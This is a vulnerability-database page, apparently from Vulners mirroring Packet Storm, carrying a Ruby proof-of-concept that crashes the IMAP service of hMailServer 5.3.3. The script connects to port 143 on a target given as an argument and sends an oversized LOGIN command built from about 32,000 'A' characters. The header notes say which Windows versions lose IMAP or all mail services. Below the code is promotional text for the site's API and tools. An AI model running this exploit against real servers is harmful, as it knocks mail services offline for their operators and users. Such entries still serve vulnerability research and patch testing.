Lucene search
K

hMailServer 5.3.3 Remote Denial Of Service

🗓️ 27 Oct 2012 00:00:00Reported by John SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

hMailServer 5.3.3 Remote Denial Of Service attack via IMAP servic

Code
`# Exploit Title: hMailServer 5.3.3 IMAP Remote Crash PoC  
# Date: 10/27/2012  
# Vendor Homepage: http://hmailserver.com  
# Software Link: http://www.hmailserver.com/index.php?page=background_download_file&downloadid=207  
# Version: hMailServer 5.3.3 - Build 1879  
# Tested on:  
# - hMailServer 5.3.3 with default settings  
# - Reliably corruption makes IMAP service inaccessible on WIN XP SP2 and WIN 2K3R2 SP2  
# - Unreliable corruption makes all services (SMTP, IMAP, and POP) inaccessible on WIN 2K8R2 SP1  
#  
# Note: Disable "Auto-ban" in the hMailServer Admin console if performing additional fuzzing.  
  
#!/usr/bin/ruby  
  
require 'socket'  
  
s = TCPSocket.open(ARGV[0], 143)  
  
cmd = "a LOGIN "  
address = "A" * 32765  
password = " AAAAAAAA\r\n"  
logout = "a LOGOUT\r\n"  
  
pkt = cmd  
pkt << address  
pkt << password  
pkt << logout  
  
s.write(pkt)  
  
while resp = s.gets  
p resp  
end  
  
s.close  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation